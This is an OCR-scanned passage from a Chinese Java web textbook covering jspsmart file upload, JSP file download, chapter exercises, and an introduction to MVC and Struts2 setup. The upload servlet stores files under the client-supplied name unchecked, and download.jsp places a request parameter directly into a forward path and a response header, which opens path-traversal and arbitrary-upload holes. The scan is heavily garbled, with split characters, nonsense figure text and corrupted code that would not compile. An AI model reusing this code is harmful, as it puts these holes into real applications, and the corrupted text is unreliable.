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(2) com. jspsmart. upload. File: 封装 了 上 传 的 文件 对 象 ,包含 以 下 重要 方法 。 

中 File. getFileNameO: 负责 获得 文件 名 。 

@ File. getFilePathName(): 负责 获得 文件 路 径 全 名 。 

@ File. saveAs(String,int): 负责 将 文件 进行 保存 ,参数 1 是 保存 的 路 径 , 参 数 2 是 保存 
的 方式 ,有 如 下 选择 。 

。 SmartUpload.SAVE_PHYSICAL: 按照 硬盘 上 的 物理 路 径 保存 。 

。 SmartUpload.SAVE_VIRTUAL: 按照 网 站 的 虚拟 路 径 保存 。 

接 下 来 编写 处 理 上 传 文件 的 Servlet 类 ,将 上 传 的 文件 名 保存 在 DD 盘 根 目录 下 ,程序 如 
UploadServlet. java 所 示 。 


UploadServlet. java 


package servlets; 


import java. io. IOException; 
import javax. servlet. RequestDispatcher; 
import javax. servlet. ServletConfig; 
import javax. servlet. ServletException; 
import javax. servlet. http, HttpServlet; 
import javax. servlet. http. HttpServletRequest; 
import javax. servlet. http. HttpServletResponse; 
import com. jspsmart. upload. File; 
import com. jspsmart. upload. SmartUpload; 
import com. jspsmart. upload. SmartUploadException; 
public class UploadServlet extends HttpServlet { 
protected void doPost (HttpServletRequest request, HttpServletResponse response) throws 
ServletException, IOException { 
SmartUpload smartUpload = new SmartUpload( ); 
// 初 始 化 
ServletConfig config = this. getServletConfig(); 
smartUpload. initialize(config, request, response); 
try { 
/上 传 文件 
smartUpload.upload( ) ; 
// 得 到 上 传 的 文件 对 象 
File smartFile = smartUpload. getFiles().getFile(0); 
// 保 存 文件 
smartFile. saveAs("D:/" + smartFile.getFileName(), 
smartUpload. SAVE_PHYSICAL) ; // 保 存 文件 
} catch (SmartUploadException e) { 
e. printStackTrace( ); 
} 
String msg = "Upload Success! "; 
request. setAttribute("msg", msg); 
RequestDispatcher rd = request. getRequestDispatcher("/uploadForm. jsp" ); 
rd. forward( request, response); 


在 上 面 的 程序 中 首先 实例 化 了 jspsmart 包 中 SmartUpload 类 的 对 象 “smartUpload”， 
执行 上 传 初始 化 ,然后 调用 upload0 〇 函数 进行 上 传 文件 操作 , 接 下 来 利用 jspsmart 包 中 的 
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File 类 对 象 调用 saveAs0 函 数 保存 文件 ,其 中 SAVE_PHYSICAL 表示 以 物理 路 径 保存 文件 。 
在 uploadForm. jsp 中 单 击 “ 浏 览 ” 按 钮 ,选择 其 中 的 文件 ,然后 单 击 * 上 传 ”按钮 ,如 
图 13-10 所 示 。 
文件 上 伟 
请 你 选择 一 个 文件 进行 上 传 。 亚 \ 芭 件 aoe [ES 
13-10 页 面 运行 效果 


最 后 在 uploadForm. jsp 中 会 显示 上 传 成 功 的 提示 信息 ,程序 运行 效果 如 图 13-11 所 示 。 
Upload Success! 


图 13-11 上 传 成 功 的 提示 信息 


在 D 盘 中 可 以 看 到 相应 的 文件 。 由 此 可 见 ,使 用 jspsmart 文件 上 传 包 可 以 非常 方便 地 
实现 文件 的 上 传 功能 。 

在 前 面 的 例子 中 ,程序 把 上 传 的 文件 保存 在 D 盘 中 ,在 实际 应 用 中 往 网 站 上 传 文件 后 ， 
文件 通常 会 保存 在 服务 器 端 。 一 般 建议 将 文件 保存 在 服务 器 端 当 前 项 目 中 的 某 个 目录 下 ， 
此 时 只 需要 修改 UploadServlet. java 的 源 代码 即 可 将 文件 保存 在 相对 路 径 下 ,并 在 保存 文 
件 时 将 保存 方式 设置 为 smartUpload.SAVE_VIRTUAL, 如 下 代码 段 就 是 将 文件 保存 在 当 
前 项 目的 FILES 目录 下 。 


// 保 存 文件 
smartFile. saveAs("/FILES/" + smartFile.getFileName(), 
smartUpload. SAVE_VIRTUAL); 


13.5 文件 下 载 


文件 下 载 是 Java Web 应 用 程序 中 最 常见 的 功能 之 一 ,通过 文件 下 载 功能 用 户 可 以 下 载 
到 自己 喜欢 的 任何 资源 。 

文件 下 载 很 简单 ,最 常见 的 情况 是 将 链接 目标 指向 下 载 文件 。 例 如 ,在 /FILES 下 有 如 
图 13-12 所 示 的 img. jpg 文件 。 

下 面 的 download1. jsp 代码 实现 了 文件 下 载 。 


download1. jsp 
<%@ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
<html> 
<body> 
文件 下 载 
<hr> 
<a href = "/Prj13/FILES/img. jpg"> 下 载 </a> 
</body> 
</html > 
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运行 程序 ,效果 如 图 13-13 所 示 。 


4 BE WebRoot 文件 下 载 
4 马 FLES Sa 
国 imgjpg 下 载 
图 13-12 ”img. jpg 文件 的 存放 目录 图 13-13 页面 运行 效果 


右 击 “下 载 " 链 接 , 在 弹出 的 快捷 菜单 中 选择 “另存 为 ”命令 ,可 以 将 图 片 下 载 保存 ,如 
图 13-14 所 示 。 

关于 文件 的 下 载 存 在 一 个 重要 的 问题 , 那 就 是 下 载 文件 直接 出 现 了 下 载 框 。 在 下 载 一 
些 文件 (例如 图 片 .、Word 文档 ) 时 ,如 果 单 击 “ 下 载 " 链 接 或 者 按钮 ,会 直接 在 浏览 器 中 打开 
这 些 文件 。 例 如 上 面 的 下 载 案例 , 在 单 击 “ 下 载 "链接 之 后 效果 如 图 13-15 所 示 。 


文件 下 载 


A 
也 打开 (O) 

在 新 选项 卡 中 打开 (W) 

在 新 窗口 中 打开 (N) 

目标 另存 为 (A).。 -二 


打印 目标 (P) 


图 13-14 另存 文件 菜单 图 13-15 在 页 面 上 打开 文件 


那么 如 何在 单 击 “ 下 载 " 链 接 之 后 出 现下 载 框 呢 ? 在 此 给 出 其 步骤 。 
首先 将 链接 目标 定位 至 另 一 个 JSP。 
比如 ,downloadl.jsp 的 源 代 码 可 以 改 成 如 下 的 download2. jsp。 


download2. jsp 
<$% @ page language = "java" import = "java.util. *" pageEncoding = "gb2312" %> 
< htm]l > 
<body> 
文件 下 载 
<hr> 
<a href = "download. jsp?file = img. jpg"> 下 载 </a> 
</body> 
</html > 


然后 编写 download. jsp ,在 download. jsp 中 指定 相应 的 Header 属性 和 contentType， 
代码 如 下 。 


download. jsp 


<% @ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
<% 
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String filename = request. getParameter("file"); 
// 告 诉 客户 端 出 现下 载 框 ,并 指定 下 载 框 中 的 文件 名 
response. setHeader("Content ~ Disposition", "attachment; filename = " + filename); 
// 指 定 文件 类 型 
response. setContentTYpe(" image/jpeg" ); 
// 指 定 文件 
RequestDispatcher rd = request. getRequestDispatcher("/FILES/" + filename); 
rd. forward( request, response); 
先 > 


单 击 download2. jsp 中 的 “下 载 ” 链 接 , 将 出 现 如 图 13-16 所 示 的 对 话 框 。 
文件 下 载 


您 想 打开 或 保存 此 文件 吗 ? 


名 称 : imgjpg 
类 型 :JPEG 图 像 , 103KB 
来 源 : localhost 


EE 世 B 


© 村 二 囊 攻 起 晶 委 二 n 和 的 的 


图 13-16 “文件 下 载 ?对话 框 


用 户 可 以 单 击 “ 打 开 ? 或 者 “保存 ?按钮 。 其 中 ,在 单 击 “保存 ”按钮 之 后 ,该 对 话 框 中 会 自 
动 出 现 img. jpg 文件 名 。 

注意 : 此 处 给 出 常见 文件 类 型 对 应 的 contentType, 主 要 包括 以 下 几 种 。 

。 不 可 识别 文件 : "application/octet-stream"; 

。 bmp: "application/x-bmp"; 

。 doc: "application/msword"; 

» exe: "application/x-msdownload"; 

* jpg: "image/jpeg"; 

。， mdb: "application/msaccess"; 

。， mp3: "audio/mp3"; 

。 pdf: "application/pdf"; 

。 ppt: "application/vnd. ms-powerpoint"; 

*» rm: "application/vnd. rn-realmedia" ; 

» rmvb: "application/vnd. rn-realmedia-vbr"; 

。 swf: "application/x-shockwave-flash" ; 


。 xls: "application/vnd. ms-excel" 。 
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13.6 本 章 小 结 


本 章 讲 解 了 验证 码 的 开发 .刷新 和 验证 ,并 基于 jspsmart 讲解 了 文件 上 传 与 下 载 的 开 
发 方法 。 


13.7 课 后 习题 
一 、 填空 题 


1. 由 服务 器 产生 一 串 随机 数字 或 符号 ,形成 一 幅 图 片 , 传 给 客户 端 ,从 而 防止 客户 端 用 
一 些 程序 进行 自动 识别 的 是 


2. 验证 码 和 登录 组 合 起 来 使 用 的 思想 是 把 验证 码 当 作 处 理 。 

3. java. awt. image. BufferedImage 类 的 作用 是 

4. 验证 码 和 一 起 使 用 ,可 以 让 验证 码 起 到 安全 保障 的 作用 。 

5. 最 常 使 用 的 文件 上 传 控件 是 

6. com. jspsmart. upload. SmartUpload 负责 ,包含 几 个 重要 的 API, 其 中 负责 
获取 上 传 的 第 i 个 对 象 的 是 p 

7. com. jspsmart. upload. File 负责 ,包含 几 个 重要 的 API, 其 中 负责 获取 文件 
路 径 全 名 的 是 

8. File. saveAs (String, int) 的 作用 是 ,两 个 参数 的 含义 分 别 是 

一 、 选 择 题 


1. 对 于 Web 表单 登录 中 用 到 的 图 形 验证 码 的 实现 ,以 下 做 法 正确 的 是 ( 和 

A. 返回 给 浏览 器 的 HTML 代码 中 包含 图 形 验 证 码 和 文本 字符 串 ,在 登录 前 客户 端 
判断 输入 内 容 和 页 面 中 保存 的 内 容 是 否 一 致 

B. 服务 器 端 在 返回 的 图 片 和 cookie 中 同时 包含 图 形 验 证 码 , 在 登录 前 客户 端 判 断 
输入 内 容 和 cookie 保存 的 内 容 是 否 一 臻 

C. 浏览 器 通过 识别 图 形 验 证 码 中 的 内 容 和 用 户 输入 的 内 容 判 断 是 否 一 致 

D. 服务 器 端 生 成 验证 码 后 ,一 方面 通过 图 片 将 验证 码 返回 给 客户 端 ,同时 在 服务 器 
端 保存 文本 的 验证 码 , 由 服务 器 端 验证 输入 内 容 是 否 正 确 


2. 在 验证 码 的 工作 流程 中 ,服务 器 端 随机 生成 的 验证 码 字 符 串 保存 在 由 
A. page B. request C. session D. application 
3. 下 列 代码 的 功能 是 产生 4 位 随机 数 并 保存 ,在 ” ”处 应 该 填 人 ( Ns 


Random rnd = new Random( ); 
int randNum = rnd. nextInt(8999) + 1000; 
String randStr = String. valueOf (randNum); 


A. page. setAttribute("randStr", randStr); 
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B. request. setAttribute('randStr", randStr); 
C. session. setAttribute("randStr", randStr); 
D. application. setAttribute("randStr", randStr); 
4. 以 下 API 不 属于 com. jspsmart. upload. SmartUpload 的 是 ( MW 
A. SmartUpload. initialize(); B. SmartUpload. uploadO; 
C. SmartUpload. getFilesO; D. SmartUpload. saveAsO; 
5. 在 上 传 文件 时 ,如 果 按 照 网 站 的 虚拟 路 径 保存 ,要 将 file. savaAs0 函 数 中 的 保存 方式 
参数 设置 为 ( js 


A. SmartUpload. SAVE_VIRTUAL B. SmartUpload. SAVE_PHYSICAL 
C. "/"+smartFile. getFileName D. SmartUpload. SAVE 
6. 以 下 负责 获得 文件 名 的 方法 为 ( 7 
A. SmartUpload. getFiles() B. File. getFileName() 
C. SmartUpload. getFiles() getFile() D. File. getFilePathName() 


7. 在 验证 码 的 更 新 代码 中 ,refresh0 函 数 定义 中 以 下 代码 正确 的 是 ( 3 
A. loginForm. imgValidate. src="validate. jsp?id="+Math. random() 
B. loginForm. imgValidate. src="validate. jsp?"+Math. random() 


C. loginForm. imgValidate. src=Math. random() 


D. 以 上 都 不 正确 

8. exe 对 应 的 contentType 为 ( )。 
A. "application/x-bmp" B. "application/x-msdownload" 
C. "application/msword" D. "application/msaccess" 

三 、 上 机 习题 


1. 编写 一 个 表单 ,显示 数字 验证 码 , 如 果 用 户 看 不 清楚 ,可 以 单 击 旁 边 的 “重新 获取 验 
证 码 ” 链 接 来 重新 获取 验证 码 ,并 要 求 有 验证 功能 。 

2. 将 上 题 中 的 验证 码 变 为 数字 和 字符 的 混合 。 

3. 制作 一 个 资源 上 传 系统 ,用 户 输入 账号 、 密 码 后 登录 ,如 果 成 功 (账号 和 密码 相符 )， 
进入 资源 上 传 系统 ,可 以 上 传 doc、pdf 文档 到 服务 器 端 , 用 户 还 可 以 查看 自己 上 传 过 的 资源 
并 选择 删除 。 


MVC 和 Struts2 的 基本 原理 


建议 学 时 : 2 

在 软件 开发 中 ,项 目的 模块 化 ,标准 化 非常 重要 ,在 网 站 制作 中 同样 如 此 。 本 章 首先 讲 
解 MVC 思想 ,并 与 传统 方法 进行 对 比 , 曾 述 该 思想 给 软件 开发 带 来 的 巨大 好 处 ; 然后 讲解 
基于 MVC 思想 的 Struts 框架 ,阐述 其 基本 原理 ,并 举例 说 明 Struts 框架 下 用 例 的 开发 
方法 。 


14.1 MVC 模式 


MVC(Model View Controller) 是 软件 开发 过 程 中 比较 流行 的 设计 思想 。 在 了 解 MVC 
之 前 用 户 首 先 要 明确 一 点 ,MVC 是 一 种 设计 模式 (设计 思想 ) ,而 不 是 一 种 编程 技术 。 

这 里 用 一 个 场景 来 引入 这 种 模式 。 某 公司 做 一 个 股票 查询 软件 ,输入 股票 的 代号 就 可 
以 显示 这 个 股票 的 走势 。 如 何 实现 ? 

有 一 种 大 家 都 可 以 想到 的 方案 : 写 一 个 JSP ,接受 用户 的 输入 并 验证 ,同样 是 这 个 JSP， 
在 数据 库 中 提取 数据 之 后 将 股票 的 走势 显示 。 

但 是 ,软件 需求 可 能 是 变化 的 。 在 系统 运营 的 过 程 中 可 能 会 出 现下 面 的 情况 。 

(1) 公司 突然 决定 股票 的 显示 应 该 更 美观 一 些 , 要 改变 显示 方法 。 

(2) 由 于 计算 机 犯罪 越 来 越 多 ,要求 在 验证 信息 的 时 候 多 一 些 功能 ,例如 安全 密 钥 等 。 

(3) 公司 的 数据 库 迁 移 ,数据 库 变 成 不 同 的 名 字 , 表 结构 也 改变 了 ,在 查询 时 需要 修改 
代码 。 

如 果 使 用 以 上 方案 ,要 解决 这 些 问题 ,就 必须 把 JSP 的 某 一 部 分 改 掉 。 但 是 ,在 编写 代 
码 时 最 鼠 讳 的 就 是 在 很 长 的 一 段 程序 中 修改 很 小 的 一 部 分 ,这 样 做 代价 很 高 ,并 且 在 开发 过 
程 中 分 工 也 很 不 方便 。 例 如 美工 人 员 修 改 显示 方法 时 需要 面 对 大 量 数据 库 访问 代码 。 因 
此 ,在 该 方案 中 将 页 面 设计 和 商业 人 逻辑 混合 在 一 起 .在 修改 时 相关 人 员 必 须 读 懂 所 有 代码 。 

基于 该 问题 ,可 以 将 该 JSP 拆 成 3 个 模块 来 做 。 首 先 编写 JSP, 负 责 输入 查询 代码 , 提 
交 到 Servlet,Servlet 进行 安全 验证 ,调用 DAO 来 访问 数据 库 ,得 到 结果 , 跳 转 到 JSP 显示 。 
这 种 方法 虽然 前 期 设计 比较 复杂 .但 有 如 下 特点 。 

(1) 适合 分 工 , 每 一 个 程序 员 只 需要 关心 自己 需要 关心 的 那个 模块 。 

(2) 维护 方便 ,例如 需要 修改 其 中 的 一 个 部 分 , 则 对 相应 的 模块 进行 修改 就 可 以 了 。 

比较 这 两 种 方案 ,可 以 发 现 第 2 种 方案 把 程序 分 为 不 同 的 模块 ,显示 .业务 逻辑 .过 程控 
制 都 独立 起 来 ,使 得 软件 在 可 伸缩 性 和 可 维护 性 方面 有 了 很 大 的 优势 。 例 如 要 改变 外 观 显 
示 , 只 需要 修改 JSP 就 可 以 了 ; 修改 验证 方法 ,只 需要 修改 Servlet 就 可 以 了 ; 数据 库 迁 移 ， 
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只 需要 修改 DAO 就 可 以 了 。 这 种 思想 就 是 MVC 思想 。 

在 Web 开发 中 ,MVC 思想 的 核心 概念 如 下 。 

(1) M(Model) : 封装 应 用 程序 的 数据 结构 和 事务 逻辑 ,集中 体现 应 用 程序 的 状态 , 当 
数据 状态 改变 的 时 候 能 够 在 视图 里 面体 现 出 来 。JavaBean 非常 适合 这 个 角色 。 

(2) V(View) : 它 是 Model 的 外 在 表现 , 当 模型 状态 改变 时 有 所 体现 。JSP 非常 适合 
这 个 角色 。 

(3) CCController) : 对 用 户 的 输入 进行 响应 ,将 模型 和 视图 联系 到 一 起 ,负责 将 数据 写 
到 模型 中 ,并 调用 视图 。Java Servlet 非常 适合 这 个 角色 。 

MVC 思想 如 图 14-1 所 示 。 


Poe 

| | 
——— | (Controller) tt 

请 求 ， Servlet 本 

浏 | 区 | 

、 1 

览 人 3 3 \ (Model) | 1 

器 1 过 `、JavaBean ' l 

1 1 

| (View) 4 ! 

响应 1 JSP 4 请 | 

1 1 1 1 

了 da Leessss | 

Servlet 容 器 EIS 


图 14-1 MVC 思想 


其 步骤 如 下 。 

(1) 用 户 在 表单 中 输入 ,将 表单 提交 给 Servlet, Servlet 验证 输入 ,然后 实例 化 JavaBean。 
(2) JavaBean 查询 数据 库 ,查询 结果 和 暂 存在 JavaBean 中 。 

(3) Servlet 跳 转 到 JSP,JSP 使 用 JavaBean ,得 到 它 里 面 的 查询 结果 ,并 显示 出 来 。 


14.2 Struts2 简介 


MVC 思想 给 网 站 设计 带 来 了 巨大 的 好 处 ,但 是 MVC 毕竟 只 是 一 种 思想 ,不 同 的 程序 
员 写 出 来 的 基于 MVC 思想 的 应 用 、 风 格 可 能 不 一 样 ,从 而 会 影响 程序 的 标准 化 。 在 进行 项 
目 开发 时 ,标准 化 是 很 重要 的 。 例 如 ,团队 中 的 某 个 人 被 换 掉 , 顶 替 者 如 果 还 需要 阅读 不 同 
风格 的 代码 将 会 非常 麻烦 ,所 以 有 必要 对 MVC 模式 进行 标准 化 ,让 程序 员 在 某 个 标准 下 进 
行 开发 。 

很 多 人 致力 于 这 个 工作 ,并 且 发 布 了 一 些 框架 ,Struts 就 是 这 样 一 个 框架 , 它 在 使 用 的 
过 程 中 受到 了 人 们 广泛 的 认可 。 因 此 ,MVC 模式 是 Struts 框架 的 基础 ,或 者 说 Struts 是 为 
了 规范 MVC 开发 而 发 布 的 一 个 框架 。 类 似 的 框架 还 有 WebWork、SpringMVC 等 。 

如 果 要 编写 基于 Struts 框架 的 应 用 ,需要 导入 一 些 其 支持 的 包 , 也 就 是 Struts 开发 包 。 
这 些 开 发 包 可 以 到 网 上 去 下 载 .下 载 地 址 为 “http://struts. apache. org/”。 

大 多 数 框架 的 版 本 改进 一 般 是 在 原 有 的 基础 上 增加 功能 或 者 进行 优化 ,但 是 Struts2 
和 Strutsl 相 比 不 是 这 样 简单 ,无 论 是 从 流程 还 是 结构 上 都 有 很 多 革命 性 的 改进 。 

不 过 ,Struts2 并 不 是 新 发 布 的 框架 ,而 是 在 另 一 个 非常 流行 的 框架 一 -WebWork 的 基 
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础 上 发 展 起 来 的 。 因 此 ,可 以 说 Struts2 并 没有 继承 Strutsl 的 特点 ,反而 和 WebWork 非常 
类 似 ; 换 名 话说 ,Struts2 衍生 自 WebWork ,而 不 是 Struts1。 正 是 由 于 这 个 原因 ,Struts2 吸 
引 了 众多 的 WebWork 开发 人 员 使 用 。 另 外 ,Struts2 是 WebWork 的 升级 ,在 各 种 功能 和 性 
能 方面 都 有 很 好 的 保证 ,吸收 了 Strutsl 和 WebWork 两 者 的 优势 ,因此 也 是 一 个 非常 优秀 
的 框架 ,这 就 是 本 书 要 讲解 Struts2 的 原因 。 

Struts2 和 Strutsl 具有 一 些 不 同 点 ,主要 体现 在 以 下 方面 。 

1. Action 类 的 编写 

在 Strutsl 中 ,Action 类 一 般 继 承 基 类 org. apache. struts. action. Action; 而 在 Struts2 
中 ,Action 类 可 以 实现 一 个 Action 接口 ,也 可 以 实现 其 他 接口 ,还 可 以 继承 ActionSupport 
基 类 ,甚至 不 需要 实现 任何 接口 ,只 编写 execute0 函 数 即 可 。 

2. Action 的 运行 模式 

在 Strutsl 中 Action 是 单 态 的 ,系统 实例 化 一 个 对 象 来 处 理 多 个 请 求 ,为 每 个 请 求 分 配 
一 个 线程 ,在 该 线程 中 运行 execute(O) 函 数 。 因 此 ,开发 人 员 在 开发 时 要 特别 小 心 , Action 资 
源 必须 是 线程 安全 的 或 同步 的 。 在 Struts2 中 Action 为 每 一 个 请 求 产生 一 个 实例 ,不 会 产 
生 线 程 安全 问题 ,但 是 系统 又 能 够 及 时 地 回收 垃圾 资源 ,不 会 有 废弃 空间 的 问题 。 

3. 对 Web 容器 的 依赖 

在 Strutsl 中 ,Action 的 execute() 函 数 传人 了 Servlet API, 即 HttpServletRequest 
和 HttpServletResponse, 使 得 测试 必须 依赖 于 Web 容器 。 在 Struts2 中 可 以 不 传人 
HttpServletRequest 和 HttpServletResponse, 但 是 可 以 访问 它们 ,因此 Action 不 依赖 于 容 
器 ,允许 Action 脱离 容器 单独 被 测试 。 

4. 对 表单 数据 的 封装 

在 Strutsl 中 使 用 ActionForm 封装 表单 数据 ,所 有 的 ActionForm 必须 继承 
org. apache. strtus. action. ActionForm, 有 可 能 造成 ActionForm 类 和 VO 类 重复 编码 。 在 
Struts2 中 ,直接 在 Action 中 编写 表单 数据 相对 应 的 属性 ,可 以 不 编写 ActionForm ,而 这 些 
属性 又 可 以 通过 Web 页 面 上 的 标签 访问 。 

此 外 ,在 Struts2 中 支持 一 种 功能 更 强大 、 灵 活 的 表达 式 语言 一 一 OGNL(Object Graph 
Notation Language); 在 类 型 转换 和 校 验 上 开发 出 更 丰富 的 API, 但 限于 篇 幅 , 本 书 不 做 介 
绍 。 另 外 ,由 于 Strutsl 已 经 不 被 广泛 使 用 .本 章 着 重 介绍 Struts2。 


14.3 Struts2 的 基本 原理 


14.3.1 环境 配置 


如 果 要 编写 基于 Struts2 的 应 用 ,需要 导入 一 些 其 支持 的 包 , 也 就 是 Struts2 开发 包 , 这 
些 开发 包 可 以 到 网 上 去 下 载 ,. 下 载 地 址 为 “http://struts. apache. org/”。 

在 页 面 中 提供 了 各 个 版 本 的 Struts 开发 包 。 这 里 以 Struts 2. 0. 14 版 本 为 例 , 下 载 地 址 
为 “https://archive. apache. org/dist/struts/library/”, 如 图 14-2 所 示 。 

用 户 可 以 下 载 源 文件 .开发 包 和 文档 等 。 如 果 要 进行 开发 ,可 以 选择 开发 包 , 单 击 
struts-2. 0. 14-lib. zip 可 以 下 载 一 个 压缩 包 , 如 图 14-3 所 示 。 
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心 truts-2.0.121ib. zi 2008-10-16 02: 49 岂 证 
目 truts-2.0.12-1ib. zip. asc 2008-10-16 02:49 189 
2008-10-16 02: 49 
UL 2008-11-22 21:04 6.2 
国 全 2008-11-22 21:04 189 
国 sss.0.14 Lih zainama5 2008-11-22 21:04 33 
ztmuata-2.0.5-1ib.zip 2007-02-09 03.06 4. 三 
struts-2., 0, 5-1ib, zip, ase 2007-02-09 03:06 186 
sa 2007-02-09 03:06 33 
N Stns-2.0.6-1ib.zip 2007-02-22 18:55 4 组 
struts-2.0.6-1ib, zip. ase 2007-02-22 18:55 186 de 
| struts-2.0.6-1ib. zip.nd5 2007-02-22 18:55 33 G18 MB 
图 14-2 Struts 2.0. 14 下 载 页 面 图 14-3 Struts 2.0. 14 压缩 包 


解压 缩 , 就 可 以 看 到 相应 的 包 。 
14.3.2 Struts2 原理 


在 Struts2 中 ,常用 的 组 件 有 FilterDispatcher 过 滤器 JSP、Action .JavaBean .配置 文件 
等 。 对 于 一 个 动作 ,其 执行 步骤 如 下 。 

(1) 用 户 输入 ,JSP 表单 的 请 求 被 FilterDispatcher 截获 。 

(2) FilterDispatcher 将 表单 信息 转交 给 Action, 并 封装 在 Action 内 。 

(3) Action 调用 JavaBean(DAO)。 

(4) Action 返回 要 跳 转 到 的 JSP 页 面 ,将 逻辑 名 称 给 框架 。 

(5) 框架 根据 逻辑 名 称 找 到 相应 的 网 页 地 址 进行 跳 转 ,结果 在 JSP 上 显示 。 


14.4 Struts2 的 基本 使 用 方法 


本 节 使 用 实际 案例 进行 讲解 。 在 学 生 管理 系统 中 用 户 输入 账号 和 密码 进行 登录 ,如 果 
登录 成 功 ,就 跳 转 到 成 功 页 面 , 否 则 跳 转 到 失败 页 面 。 为 了 简便 ,认为 账号 和 密码 相符 就 登 
录 成 功 。 


14.4.1 导入 Struts2 


由 于 MyEclipse 目前 并 不 支持 Struts2, 所 以 需要 手工 下 载 Struts2 安装 包 , 然 后 导入 。 
接着 用 MyEclipse 新 建 一 个 Web 项 目 一 一 Prj14。 在 将 Struts2 开发 包 解 压缩 之 后 ,要 想 正 
常 使 用 Struts2, 至 少 需要 5 个 包 ( 因 为 Struts2 的 版 本 不 同 , 包 名 可 能 会 咯 有 差异 ,但 包 名 的 
前 半 部 分 是 一 样 的 ) ,只 需要 将 图 14-4 中 的 几 个 包 复制 到 项 目 中 WEB-INF 的 lib 目录 下 
即 可 。 

然后 手工 新 建 Struts2 的 配置 文件 ,名 为 struts. xml, 此 时 项 目 结构 如 图 14-5 所 示 。 
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b> BB JRE System Library UDK6] 
» Bh Java EE 5 Libraries 
2 BB Referenced Libraries 
”图 commons-logging-10.4jar 
b BG freemarker-2.3.8jar 
加 struts2-core-2.0.14. jar b @ ognl-2.6.11jar 


加 comnons-loggine-1.0.4 jar 二 
@ weir2.07.j bp 加 struts2-core-2.0.14jar 


加 freenarker-2.3.8 jor b> 国 xwork-2.07jar 
ol-2.6.11, jr ”全 WebRoot 
图 14-4 ”依赖 包 14-5 项 目 结构 


注意 : 在 src 文件 夹 中 还 要 建立 一 个 名 为 prjl4 的 包 , 用 于 存放 以 后 编写 的 源 代码 。 在 
src 文件 夹 下 面 编写 struts. xml 文件 ,在 编译 后 该 文件 将 会 放 在 “WEB-INF/classes” 下 ,其 
他 没有 变化 。 

接 下 来 配置 WEB-INF 下 的 web. xml 文件 ,将 web. xml 文件 改 为 如 下 。 


web. xml 


<?xml version= "1,0" encoding= "UTF —- 8"?> 
<web— app version= "2,4" 
xmlns = "http://java. sun. com/xml/ns/j2ee" 
xmlns:xsi= "http://www.w3.org/2001/XMLSchema — instance" 
xsi:schemaLocation = "http://java. sun. com/xml/ns/j2ee 
http://java. sun. com/xml/ns/j2ee/web— app_2_4.xsd"> 
<filter> 
<filter ~ name> struts2 </filter - name> 
< filter - class > org. apache. struts2. dispatcher. FilterDispatcher </filter - class> 
</filter> 
<filter ~ mapping> 
<filter — name> struts2 </filter - name > 
<url- pattern>/* </url - pattern> 
</filter - mapping> 
</web— app> 


其 中 : 


<filter> 

<filter ~ name> struts2 </filter ~ name> 

<filter— class > org. apache. struts2. dispatcher. FilterDispatcher </filter — class> 
</filter> 


表示 使 用 过 滤器 org. apache. struts2. dispatcher. FilterDispatcher 来 拦截 请 求 ,并 取 名 为 
struts2。 这 个 名 称 可 以 随意 取 , 只 要 保证 与 后 面 一 致 即 可 。 


<filter ~ mapping> 
<filter ~ name> struts2 </filter ~ name> 
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<url- pattern>/ * </url- pattern> 
</filter — mapping > 


表示 过 滤器 org. apache. struts2. dispatcher. FilterDispatcher 过 滤 的 目标 为 项 目下 的 所 有 


内 容 。 


14.4.2 编写 JSP 


在 该 项 目 中 首先 编写 一 个 JSP, 用 来 容纳 登录 表单 , 放 在 WebRoot 根 目录 下 ,代码 如 


login. jsp 所 示 。 


login. jsp 


<% @ page language = "java" pageEncoding = "gb2312" %> 
<! DOCTYPE HTML PUBLIC " - //W3C//DTD HTML 4.01 Transitional//EN"> 
<html> 
<body> 
< form action="[ 待 定 ]" method = "post"> 
请 您 输入 账号 : < input name = "account" type = "text"><br> 
请 您 输入 密码 : < input name = "password" type = "password"> 
< input type = "submit" value = "登录 "> 
</form> 
</body> 
</html > 


由 于 提交 到 Action, 所 以 暂时 无 法 确定 表单 提交 的 目标 。 该 代码 的 运行 效果 如 图 14-6 


所 示 。 


请 您 输入 账号 ， 
请 您 输入 密码 ， EE 


图 14-6 登录 页 面 


登录 成 功 页面 的 源 代码 如 loginSuccess. jsp 所 示 。 
loginSuccess. jsp 


< 外 四 page language = "java" pageEncoding = "gb2312" %> 
<!DOCTYPE HTML PUBLIC " - //W3C//DTD HTML 4. 01 Transitional//EN"> 
<html> 
<body> 
登录 成 功 
</body> 
</html > 


登录 失败 页 面 的 源 代码 如 loginFail. jsp 所 示 。 
loginFail. jsp 


<%@ page language = "java" pageEncoding = "gb2312" %> 
<! DOCTYPE HTML PUBLIC " — //W3C//DTD HTML 4. 01 Transitional//EN"> 


<html> 
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< body> 
登录 失败 
</body> 
</htm] > 


14.4.3 编写 并 配置 ActionForm 

注意 ,在 Strutsl. x 中 必须 要 单独 建立 一 个 ActionForm 类 ,而 在 Struts2 中 ActionForm 和 
Action 已 经 合 二 为 一 了 ,因此 只 需要 将 和 表单 元 素 同名 的 属性 编写 到 Action 内 。Action 
只 是 一 个 普通 的 类 。 在 prjl4 包 内 新 建 LoginAction. java 类 ,以 下 是 LoginAction. java 的 
代码 。 


LoginAction. java 


package prjl4; 


public class LoginAction { 
private String account; 
public String getAccount() { 
return account; 
了 
public void setAccount(String account) { 
this. account = account; 
} 
private String password; 
public String getPassword() { 
return password; 
} 
public void setPassword(String password) { 
this. password = password; 
l 
} 


从 以 上 代码 可 以 看 出 ,LoginAction 没有 继承 任何 类 , 它 有 account 和 password 两 个 属 
性 ,必须 与 login. jsp 中 的 表单 元 素 account 和 password 同名 。 
14.4.4 编写 并 配置 Action 

在 Struts2 中 ,既然 Action 和 ActionForm 合 二 为 一 ,Action 是 负责 业务 逻辑 的 ,所 以 
必须 编写 业务 逻辑 代码 。 下 面 来 加 强 Action 的 功能 。 

如 果 要 处 理 业务 逻辑 ,必须 满足 一 个 规范 , 那 就 是 编写 execute0 函 数 来 处 理 业务 钠 辑 。 
注意 ,不 是 重 写 ,而 是 编写 。 另 外 ,该 函数 不 需要 有 任何 参数 。 

编写 execute0 函 数 ,是 因为 Action 接收 数据 后 由 框架 自动 调用 它 的 execute 上 0 函数 ,该 
函数 的 运行 在 底层 通过 反射 机 制 进 行 。executeO) 函 数 的 格式 如 下 。 


public String execute( ){} 
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该 函数 返回 一 个 字符 串 ,表示 目标 页 面 的 虚拟 名 称 。 对 于 该 名 称 ,在 后 面 的 篇 幅 中 会 
提 到 。 
Action 的 代码 如 LoginAction. java 所 示 。 


LoginAction. java 


package prjl14; 


public class LoginAction{ 

private String account; 

public String getAccount() { 
